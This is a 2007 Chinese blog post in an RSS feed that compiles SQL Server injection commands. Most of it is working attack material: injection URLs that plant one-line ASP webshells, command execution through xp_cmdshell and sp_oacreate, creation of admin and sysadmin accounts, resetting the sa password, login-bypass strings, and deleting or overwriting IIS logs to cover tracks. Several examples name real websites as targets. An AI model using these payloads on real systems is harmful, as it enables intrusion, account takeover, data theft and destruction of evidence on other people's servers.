﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>C++博客-elva-随笔分类-网络安全</title><link>http://www.cppblog.com/elva/category/4146.html</link><description /><language>zh-cn</language><lastBuildDate>Wed, 21 May 2008 07:47:35 GMT</lastBuildDate><pubDate>Wed, 21 May 2008 07:47:35 GMT</pubDate><ttl>60</ttl><item><title>最详细的SQL注入相关的命令整理 </title><link>http://www.cppblog.com/elva/archive/2007/10/22/34820.html</link><dc:creator>叶子</dc:creator><author>叶子</author><pubDate>Mon, 22 Oct 2007 01:41:00 GMT</pubDate><guid>http://www.cppblog.com/elva/archive/2007/10/22/34820.html</guid><wfw:comment>http://www.cppblog.com/elva/comments/34820.html</wfw:comment><comments>http://www.cppblog.com/elva/archive/2007/10/22/34820.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/elva/comments/commentRss/34820.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/elva/services/trackbacks/34820.html</trackback:ping><description><![CDATA[<div><strong>QUOTE:</strong></div>
<div>1、 &nbsp; 用^转义字符来写ASP(一句话木马)文件的方法:<br>? &nbsp; <a href="http://192.168.1.5/display.asp?keyno=1881;exec" target=_blank><font color=#0000ff><u>http://192.168.1.5/display.asp?keyno=1881;exec</u></font></a> master.dbo.xp_cmdshell 'echo ^&lt;script language=VBScript runat=server^&gt;execute request^("l"^)^&lt;/script^&gt; &gt;c:\mu.asp';-- <br><br>? &nbsp; echo ^&lt;%execute^(request^("l"^)^)%^&gt; &gt;c:\mu.asp<br><br>2、 &nbsp; 显示SQL系统版本： <br>? &nbsp; <a href="http://192.168.1.5/display.asp?keyno=188" target=_blank><font color=#0000ff><u>http://192.168.1.5/display.asp?keyno=188</u></font></a> and 1=(select @@VERSION) <br>? &nbsp; <a href="http://www.xxxx.com/FullStory.asp?id=1" target=_blank><font color=#0000ff><u>http://www.xxxx.com/FullStory.asp?id=1</u></font></a> and 1=convert(int,@@version)--<br><br>Microsoft VBScript 编译器错误 错误 '800a03f6' <br>缺少 'End' <br>/iisHelp/common/500-100.asp，行242 <br>Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07' <br>[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Desktop Engine on <a class=wordstyle href="http://www.hack58.net/" target=_blank><font color=#0000ff><u>Windows</u></font></a> NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int. <br>/display.asp，行17<br>3、 &nbsp; 在检测索尼中国的网站漏洞时，分明已经确定了漏洞存在却无法在这三种漏洞中找到对应的类型。偶然间我想到了在SQL语言中可以使用&#8220;in&#8221;关键字进行查询，例如&#8220;select * from mytable where id in(1)&#8221;，括号中的值就是我们提交的数据，它的结果与使用&#8220;select * from mytable where id=1&#8221;的查询结果完全相同。所以访问页面的时候在URL后面加上&#8220;) and 1=1 and 1 in(1&#8221;后原来的SQL语句就变成了&#8220;select * from mytable where id in(1) and 1=1 and 1 in(1)&#8221;，这样就会出现期待已久的页面了。暂且就叫这种类型的漏洞为&#8220;包含数字型&#8221;吧，聪明的你一定想到了还有&#8220;包含字符型&#8221;呢。对了，它就是由于类似&#8220;select * from mytable where name in(&#8216;firstsee&#8217;)&#8221;的查询语句造成的。<br><br>4、 &nbsp; 判断xp_cmdshell扩展存储过程是否存在：<br><a href="http://192.168.1.5/display.asp?keyno=188" target=_blank><font color=#0000ff><u>http://192.168.1.5/display.asp?keyno=188</u></font></a> and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')<br>恢复xp_cmdshell扩展存储的命令：<br><a href="http://www.test.com/news/show1.asp?NewsId=125272" target=_blank><font color=#0000ff><u>http://www.test.com/news/show1.asp?NewsId=125272</u></font></a><br>;exec master.dbo.sp_addextendedproc 'xp_cmdshell',&#8217;e:\inetput\web\xplog70.dll&#8217;;--<br><br>5、 &nbsp; 向启动组中写入命令行和执行程序：<br><a href="http://192.168.1.5/display.asp?keyno=188;EXEC" target=_blank><font color=#0000ff><u>http://192.168.1.5/display.asp?keyno=188;EXEC</u></font></a> master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\<a class=wordstyle href="http://www.hack58.net/" target=_blank><font color=#0000ff><u>Windows</u></font></a>\CurrentVersion\Run','help1','REG_SZ','cmd.exe /c net user test ptlove /add'<br><br><br>6、 &nbsp; 查看当前的数据库名称：<br>? &nbsp; <a href="http://192.168.1.5/display.asp?keyno=188" target=_blank><font color=#0000ff><u>http://192.168.1.5/display.asp?keyno=188</u></font></a> and 0&lt;&gt;db_name(n) n改成0,1,2,3&#8230;&#8230;就可以跨库了<br>? &nbsp; <a href="http://www.xxxx.com/FullStory.asp?id=1" target=_blank><font color=#0000ff><u>http://www.xxxx.com/FullStory.asp?id=1</u></font></a> and 1=convert(int,db_name())--<br>Microsoft VBScript 编译器错误 错误 '800a03f6' <br>缺少 'End' <br>/iisHelp/common/500-100.asp，行242 <br>Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07' <br>[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'huidahouse' to a column of data type int. <br>/display.asp，行17 <br>7、 &nbsp; 列出当前所有的数据库名称：<br>select * from master.dbo.sysdatabases &nbsp; 列出所有列的记录<br>select name from master.dbo.sysdatabases 仅列出name列的记录<br><br>8、 &nbsp; 不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令：<br>CREATE TABLE mytmp(info VARCHAR(400),ID int IDENTITY(1,1) NOT NULL)<br>DECLARE @shell INT<br>DECLARE @fso INT<br>DECLARE @file INT<br>DECLARE @isEnd BIT<br>DECLARE @out VARCHAR(400)<br>EXEC sp_oacreate 'wscript.shell',@shell output<br>EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:\&gt;c:\temp.txt','0','true'<br>--注意run的参数true指的是将等待程序运行的结果，对于类似ping的长时间命令必需使用此参数。<br><br>EXEC sp_oacreate 'scripting.filesystemobject',@fso output<br>EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'<br>--因为fso的opentextfile方法将返回一个textstream对象，所以此时@file是一个对象令牌<br><br>WHILE @shell&gt;0<br>BEGIN<br>EXEC sp_oamethod @file,'Readline',@out out<br>INSERT INTO MYTMP(info) VALUES (@out)<br>EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out<br>IF @isEnd=1 BREAK<br>ELSE CONTINUE<br>END<br><br>DROP TABLE MYTMP <br><br>----------<br>DECLARE @shell INT<br>DECLARE @fso INT<br>DECLARE @file INT<br>DECLARE @isEnd BIT<br>DECLARE @out VARCHAR(400)<br>EXEC sp_oacreate 'wscript.shell',@shell output<br>EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll"&gt;c:\temp.txt','0','true'<br>EXEC sp_oacreate 'scripting.filesystemobject',@fso output<br>EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'<br>WHILE @shell&gt;0<br>BEGIN<br>EXEC sp_oamethod @file,'Readline',@out out<br>INSERT INTO MYTMP(info) VALUES (@out)<br>EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out<br>IF @isEnd=1 BREAK<br>ELSE CONTINUE<br>END<br><br>以下是一行里面将WEB用户加到管理员组中：<br>DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll"&gt;c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell&gt;0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END<br><br>以下是一行中执行EXE程序：<br>DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript.exe E:\bjeea.net.cn\score\fts\images\iis.vbs lh1 c:\&gt;c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell&gt;0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END<br><br>SQL下三种执行CMD命令的方法：<br><br>先删除7.18号日志：<br>(1)exec master.dbo.xp_cmdshell 'del C:\winnt\system32\logfiles\W3SVC5\ex050718.log &gt;c:\temp.txt'<br><br>(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c del C:\winnt\system32\logfiles\W3SVC5\ex050718.log &gt;c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell&gt;0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END<br><br>（3）首先开启jet沙盘模式，通过扩展存储过程xp_regwrite修改注册表实现，管理员修改注册表不能预防的原因。出于安全原因，默认沙盘模式未开启，这就是为什么需要xp_regwrite的原因，而xp_regwrite至少需要DB_OWNER权限，为了方便，这里建议使用sysadmin权限测试：<br>? &nbsp; exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1<br>注：<br>0 &nbsp; 禁止一切（默认）<br>1 &nbsp; 使能访问ACCESS，但是禁止其它<br>2 &nbsp; 禁止访问ACCESS，但是使能其他<br>3 &nbsp; 使能一切<br><br>? &nbsp; 这里仅给出sysadmin权限下使用的命令：<br>select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')<br><br><br>? &nbsp; 建立链接数据库'L0op8ack'参考命令：<br>EXEC sp_addlinkedserver 'L0op8ack','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:\<a class=wordstyle href="http://www.hack58.net/" target=_blank><font color=#0000ff><u>windows</u></font></a>\system32\ias\ias.mdb'<br><br>? &nbsp; 如何使用链接数据库：<br><br>使用这个方式可以执行，但是很不幸，DB_OWNER权限是不够的，需要至少sysadmin权限或者securityadmin+setupadmin权限组合<br>sp_addlinkedserver需要sysadmin或setupadmin权限<br>sp_addlinkedsrvlogin需要sysadmin或securityadmin权限<br>最终发现，还是sa权限或者setupadmin+securityadmin权限帐户才能使用，<br>一般没有哪个管理员这么设置普通帐户权限的<br><br>实用性不强，仅作为一个学习总结吧<br><br>大致过程如下，如果不是sysadmin，那么IAS.mdb权限验证会出错，<br>我测试的时候授予hacker这个用户setupadmin+securityadmin权限，使用ias.mdb失败<br>需要找一个一般用户可访问的mdb才可以：<br><br>? &nbsp; 新建链接服务器&#8221;L0op8ack&#8221;:EXEC sp_addlinkedserver 'L0op8ack','JetOLEDB','Microsoft.Jet.OLEDB.4.0','c:\winnt\system32\ias\ias.mdb';--<br>? &nbsp; exec sp_addlinkedsrvlogin 'L0op8ack','false';--或<br>exec sp_addlinkedsrvlogin 'L0op8ack', 'false', NULL, 'test1', 'ptlove';--<br>? &nbsp; SELECT * FROM OPENQUERY(L0op8ack, 'SELECT shell("cmd.exe /c net user")');--<br>? &nbsp; exec sp_droplinkedsrvlogin 'L0op8ack','false';--<br>? &nbsp; exec sp_dropserver 'L0op8ack';--<br><br>再考贝一个其它文件来代替7.18日文件：<br>(1)exec master.dbo.xp_cmdshell 'copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log&gt;c:\temp.txt'<br><br>(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log&gt;c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell&gt;0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END<br><br>(3)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c net user&gt;c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell&gt;0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END<br><br>9、 &nbsp; 用UPDATE来更新表中的数据：<br><a href="http://xxx.xxx.xxx/abc.asp?p=YY;update" target=_blank><font color=#0000ff><u>HTTP://xxx.xxx.xxx/abc.asp?p=YY;update</u></font></a> upload.dbo.admin set pwd='a0b923820dcc509a' where username='www';--<br>www用户密码的16位MD5值为：a0b923820dcc509a，即把密码改成1；<br>32位MD5值为： &nbsp; ，密码为<br><br>10、 &nbsp; 利用表内容导成文件功能<br>SQL有BCP命令，它可以把表的内容导成文本文件并放到指定位置。利用这项功能，我们可以先建一张临时表，然后在表中一行一行地输入一个ASP木马，然后用BCP命令导出形成ASP文件。<br>命令行格式如下：<br>bcp "select * from temp " queryout c:\inetpub\wwwroot\runcommand.asp &#8211;c &#8211;S localhost &#8211;U sa &#8211;P upload('S'参数为执行查询的服务器，'U'参数为用户名，'P'参数为密码，最终上传了一个runcommand.asp的木马)。<br><br>11、创建表、播入数据和读取数据的方法<br>? &nbsp; 创建表：<br>' and 1=1 union select 1,2,3,4;create table [dbo].[cyfd]([gyfd][char](255))--<br>? &nbsp; 往表里播入数据：<br>' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) select top 1 name from upload.dbo.sysobjects where xtype='U' and status&gt;0,@result output insert into cyfd (gyfd) values(@result);--<br>' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--<br>? &nbsp; 从表里读取数据：<br>' and 1=(select count(*) from cyfd where gyfd &gt;1)--<br><br>? &nbsp; 删除临时表：<br>';drop table cyfd;--<br><br>12、通过SQL语句直接更改sa的密码：<br>? &nbsp; update master.dbo.sysxlogins set password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A1FC944AA50CBB30267F53B9451B7189CA67AF19A1FC where sid=0x01,这样sa的密码就被我们改成了111111拉。呵呵，解决的方法就是把sa给删拉。，怎么删可以参考我的《完全删除sa这个后门》。<br><br>? &nbsp; 查看本机所有的数据库用户名：<br>select * from master.dbo.sysxlogins<br>select name,sid,password ,dbid from master.dbo.sysxlogins<br><br>? &nbsp; 更改sa口令方法：用sql综合利用工具连接后，执行命令：<br>exec sp_password NULL,'新密码','sa'<br><br>13、查询dvbbs库中所有的表名和表结构：<br>? &nbsp; select * from dvbbs.dbo.sysobjects where xtype='U' and status&gt;0<br>? &nbsp; select * from dvbbs.dbo.syscolumns where id=1426104121<br><br>14、手工备份当前数据库：<br>完全备份：<br>;declare @a sysname,@s nvarchar(4000) <br>select @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH formAT--<br>差异备份：<br>;declare @a sysname,@s nvarchar(4000) <br>select @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH DIFFERENTIAL,formAT—<br><br>15、添加和删除一个SA权限的用户test：<br>exec master.dbo.sp_addlogin test,ptlove<br>exec master.dbo.sp_addsrvrolemember test,sysadmin<br><br>cmd.exe /c isql -E /U alma /P /i K:\test.qry <br><br>16、select * from ChouYFD.dbo.sysobjects where xtype='U' and status&gt;0 <br>就可以列出库ChouYFD中所有的用户建立的表名。<br>Select name,id from ChouYFD.dbo.sysobjects where xtype='U' and status&gt;0<br><br>17、<br>? &nbsp; <a href="http://www.npc.gov.cn/zgrdw/common/image_view.jsp?sqlstr=select" target=_blank><font color=#0000ff><u>http://www.npc.gov.cn/zgrdw/common/image_view.jsp?sqlstr=select</u></font></a> * from rdweb.dbo.syscolumns （where id=1234）<br>列出rdweb库中所有表中的字段名称<br>? &nbsp; select * from dvbbs.dbo.syscolumns where id=5575058 <br>列出库dvbbs中表id=5575058的所有字段名<br><br>18、删除记录命令：delete from Dv_topic where boardid=5 and topicid=7978 <br><br>19、绕过登录验证进入后台的方法整理：<br>1) ' or''='<br>2) ' or 1=1--<br>3) &#8216; or &#8216;a&#8217;=&#8217;a--<br>4) &#8216;or&#8217;=&#8217;or&#8217;<br>5) " or 1=1-- <br>6）or 1=1--<br>7） or &#8217;a=&#8217;a<br>8）" or "a"="a <br>9） &#8217;) or (&#8217;a&#8217;=&#8217;a<br>10） ") or ("a"="a<br>11） ） or (1=1<br>12) 'or''='<br>13) 人气%&#8217; and 1=1 and &#8217;%&#8217;=&#8217;<br><br>20、寻找网站路径的方法汇总：<br>1）查看WEB网站安装目录命令：<br>? &nbsp; cscript c:\inetpub\adminscripts\adsutil.vbs enum w3svc/2/root &gt;c:\test1.txt （将2换成1、3、4、5试试）<br>type c:\test1.txt<br>del c:\test1.txt<br>在NBSI下可以直接显示运行结果，所以不用导出到文件<br><br>2）在网站上随便找到一个图片的名字 123.jpg<br>然后写进批处理程序123.bat:<br>d:<br>dir 123.jpg /s &gt;c:\123.txt<br>e:<br>dir 123.jpg /s &gt;&gt;c:\123.txt<br>f:<br>dir 123.jpg /s &gt;&gt;c:\123.txt<br><br>执行后 type c:\123.txt<br>这样来分析网站的路径<br><br>3）SQL服务器和网站服务器在同一个服务器上，好了是可以执行命令是吧？<br>将执行命令输出结果到<br>%windir%\help\iishelp\common\404b.htm或者500.asp<br>注意输出前Backup这两个文件<br>如：<br>dir c:\ &gt;%windir%\help\iishelp\common\404b.htm<br>然后随便输入一个文件来访问：http://目标ip/2.asp <br><br>4）针对win2000系统：xp_regread读取HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots 获取WEB路径<br>2003系统：xp_regread读取，未找到方法<br>如：<br>（1） &nbsp; 新建一个表cyfd(字段为gyfd)：<a href="http://www.cnwill.com/NewsShow.aspx?id=4844;create" target=_blank><font color=#0000ff><u>http://www.cnwill.com/NewsShow.aspx?id=4844;create</u></font></a> table [dbo].[cyfd]([gyfd][char](255))--<br>（2） &nbsp; 把web路径写进去:<a href="http://www.cnwill.com/NewsShow.aspx?id=4844;DECLARE" target=_blank><font color=#0000ff><u>http://www.cnwill.com/NewsShow.aspx?id=4844;DECLARE</u></font></a> @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);-- <br>（3） &nbsp; 还是让他不匹配，显示错误:<a href="http://www.cnwill.com/NewsShow.aspx?id=4844" target=_blank><font color=#0000ff><u>http://www.cnwill.com/NewsShow.aspx?id=4844</u></font></a> and 1=(select count(*) from cyfd where gyfd &gt;1) <br>Source: .Net SqlClient Data Provider<br>Description: 将 varchar 值 'Y:\Web\烟台人才热线后台管理系统,,201 ' 转换为数据类型为 int 的列时发生语法错误。<br>TargeSite: Boolean Read() 哈哈哈。。路径暴露了。。<br>（4）接下来删除表:<a href="http://www.cnwill.com/NewsShow.aspx?id=4844;drop" target=_blank><font color=#0000ff><u>http://www.cnwill.com/NewsShow.aspx?id=4844;drop</u></font></a> table cyfd;--<br><br>5）用regedit命令导出注册表，将导出的结果保存的路径到%windir%\help\iishelp\common\404b.htm或者500.asp页面<br>regedit命令说明：<br>Regedit /L:system /R:user /E filename.reg Regpath<br>参数含义：<br>/L：system指定System.dat文件所在的路径。<br>/R：user指定User.dat文件所在的路径。<br>/E：此参数指定注册表编辑器要进行导出注册表操作，在此参数后面空一格，输入导出注册表的文件名。<br>Regpath：用来指定要导出哪个注册表的分支，如果不指定，则将导出全部注册表分支。在这些参数中，"/L：system"和"/R：user"参数是可选项，如果不使用这两个参数，注册表编辑器则认为是对<a class=wordstyle href="http://www.hack58.net/" target=_blank><font color=#0000ff><u>WINDOWS</u></font></a>目录下的"system.dat"和"user.dat"文件进行操作。如果是通过从软盘启动并进入DOS，那么就必须使用"/L"和"/R"参数来指定"system.dat"和"user.dat"文件的具体路径，否则注册表编辑器将无法找到它们。比如说，如果通过启动盘进入DOS，则备份注册表的命令是"Regedit /L:C:\<a class=wordstyle href="http://www.hack58.net/" target=_blank><font color=#0000ff><u>windows</u></font></a>\/R:C:\<a class=wordstyle href="http://www.hack58.net/" target=_blank><font color=#0000ff><u>windows</u></font></a>\/e regedit.reg",该命令的意思是把整个注册表备份到<a class=wordstyle href="http://www.hack58.net/" target=_blank><font color=#0000ff><u>WINDOWS</u></font></a>目录下，其文件名为"regedit.reg"。而如果输入的是"regedit /E D:\regedit.reg"这条命令，则是说把整个注册表备份到D盘的根目录下（省略了"/L"和"/R"参数），其文件名为"Regedit.reg"。<br><br>regedit /s c:\adam.reg （导入c:\adam.reg文件至注册表）<br>regedit /e c:\web.reg （备份全部注册内容到c:\web.reg中）<br>针对win2000系统：C:\&gt;regedit /e %windir%\help\iishelp\common\404b.htm "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots"<br>然后http://目标IP/2.asp<br>针对win2003系统：没有找到，希望找到的朋友公布出来一起讨论。<br><br>6）虚拟主机下%SystemRoot%\system32\inetsrv\MetaBack\下的文件是iis的备份文件，是允许web用户访问的，如果你的iis备份到这里，用webshell下载下来后用记事本打开，可以获取对应的域名和web绝对路径。<br><br>7）SQL注入建立虚拟目录，有dbo权限下找不到web绝对路径的一种解决办法：<br>我们很多情况下都遇到SQL注入可以列目录和运行命令，但是却很不容易找到web所在目录，也就不好得到一个webshell，这一招不错： <br>? &nbsp; 建立虚拟目录win,指向c:\winnt\system32：exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\winnt\system32"' <br>? &nbsp; 让win目录具有解析asp脚本权限：exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/win/Accessexecute "true" &#8211;s:' <br>? &nbsp; 删除虚拟目录win：exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs delete w3svc/1/root/win/'<br>? &nbsp; 测试：<a href="http://127.0.0.1/win/test.asp" target=_blank><font color=#0000ff><u>http://127.0.0.1/win/test.asp</u></font></a><br>8）利用SQL语句来查找WEB目录：根据经验，猜疑WEB根目录的顺序是：d盘、e盘、c盘，首先我们建立一个临时表用于存放master..xp_dirtree(适合于public)生成的目录树,用以下语句： <br>;create table temp(dir nvarchar(255),depth varchar(255));--,该表的dir字段表示目录的名称，depth字段表示目录的深度。然后执行xp_dirtree获得D盘的目录树，语句如下： <br>;insert temp(dir,depth) exec master.dbo.xp_dirtree 'd:';-- <br><br>在进行下面的操作前，先查看D盘有几个文件夹，这样对D盘有个大致的了解，语句如下： <br>and (select count(*) from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','<a class=wordstyle href="http://www.hack58.net/" target=_blank><font color=#0000ff><u>WINDOWS</u></font></a>','CAConfig','wmpub','Microsoft UAM 卷'))&gt;=数字(数字=0、1、2、3...) <br><br>接着，我们在对方的网站上找几个一级子目录，如user、photo，然后，用筛选的方法来判断WEB根目录上是否存在此盘上，语句如下： <br>and (select count(*) from temp where dir&lt;&gt;'user')&lt;(select count(*) from temp) <br><br>看语句的返回结果，如果为真，表示WEB根目录有可能在此盘上，为了进一步确认，多测试几个子目录： <br>and (select count(*) from temp where dir&lt;&gt;'photo')&lt;(select count(*) from temp) <br><br>... <br><br>如果所有的测试结果都为真，表示WEB根目录很有可能在此盘上。 <br><br>下面假设找到的WEB根目录在此盘上，用以下的语句来获得一级子目录的深度： <br>and (select depth from temp where dir='user')&gt;=数字(数字=1、2、3...) <br><br>假设得到的depth是3,说明user目录是D盘的3级目录，则WEB根目录是D盘的二级目录。 <br><br>目前我们已经知道了根目录所在的盘符和深度，要找到根目录的具体位置，我们来从D盘根目录开始逐一搜寻，当然，没有必要知道每个目录的名称，否则太耗费时间了。 <br><br>接下来，另外建立一个临时表，用来存放D盘的1级子目录下的所有目录，语句如下： <br><br>;create table temp1(dir nvarchar(255),depth varchar(255));-- <br><br>然后把从D盘的第一个子目录下的所有目录存到temp1中，语句如下： <br>declare @dirname varchar(255);set @dirname='d:\'+(select top 1 dir from (select top 1 dir from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','<a class=wordstyle href="http://www.hack58.net/" target=_blank><font color=#0000ff><u>WINDOWS</u></font></a>','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp1 exec master.dbo.xp_dirtree @dirname <br>当然也可以把D盘的第二个子目录下的所有目录存到temp1中，只需把第二个top 1改为top 2就行了。 <br><br>现在，temp1中已经保存了所有D盘第一级子目录下的所有目录,然后，我们用同样的方法来判断根目录是否在此一级子目录下： <br>and (select count(*) from temp1 where dir&lt;&gt;'user')&lt;(select count(*) from temp1) <br>如果返回为真，表示根目录可能在此子目录下，记住要多测试几个例子，如果都返回为假，则表明WEB根目录不在此目录下，然后我们在用同样的方法来获得D盘第2、3...个子目录下的所有目录列表，来判断WEB根目录是否在其下。但是，要注意，用xp_dirtree前一定要把temp1表中的内容删除。 <br><br>现在假设，WEB根目录在D盘的第一级子目录下，该子目录名称为website,怎样获得这个目录的名称我想不用我说了吧。因为前面我们知道了WEB根目录的深度为2，我们需要知道website下到底哪个才是真正的WEB根目录。 <br><br>现在，我们用同样的方法，再建立第3个临时表： <br>;create table temp2(dir nvarchar(255),depth varchar(255));-- <br><br>然后把从D盘的website下的所有目录存到temp2中，语句如下： <br>declare @dirname varchar(255);set @dirname='d:\website\'+(select top 1 dir from (select top 1 dir from temp1 where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','<a class=wordstyle href="http://www.hack58.net/" target=_blank><font color=#0000ff><u>WINDOWS</u></font></a>','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp2 exec master.dbo.xp_dirtree @dirname <br>当然也可以把D盘的website下第二个子目录下的所有目录存到temp2中，只需把第二个top 1改为top 2就行了。 <br><br>现在，我们用同样的方法判断该目录是否为根目录： <br>and (select count(*) from temp2 where dir&lt;&gt;'user')&lt;(select count(*) from temp2) <br>如果返回为真，为了确定我们的判断，多测试几个例子，方法上面都讲到了，如果多个例子都返回为真，那么就确定了该目录为WEB根目录。 <br><br><br>用以上的方法基本上可以获得WEB根目录，现在我们假设WEB根目录是：D:\website\www <br>然后，我们就可以备份当前数据库到这个目录下用来下载。备份前我们把temp、temp1、temp2的内容清空，然后C、D、E盘的目录树分别存到temp、temp1、temp2中。 <br><br>下载完数据库后要记得把三个临时表DROP掉，现在我们在下载的数据库中可以找到所有的目录列表，包括后台管理的目录以及更多信息。<br><br>21、win2000下将WEB用户提升为系统用户权限，需要有管理员的权限才能执行：<br>c:\&gt;cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" 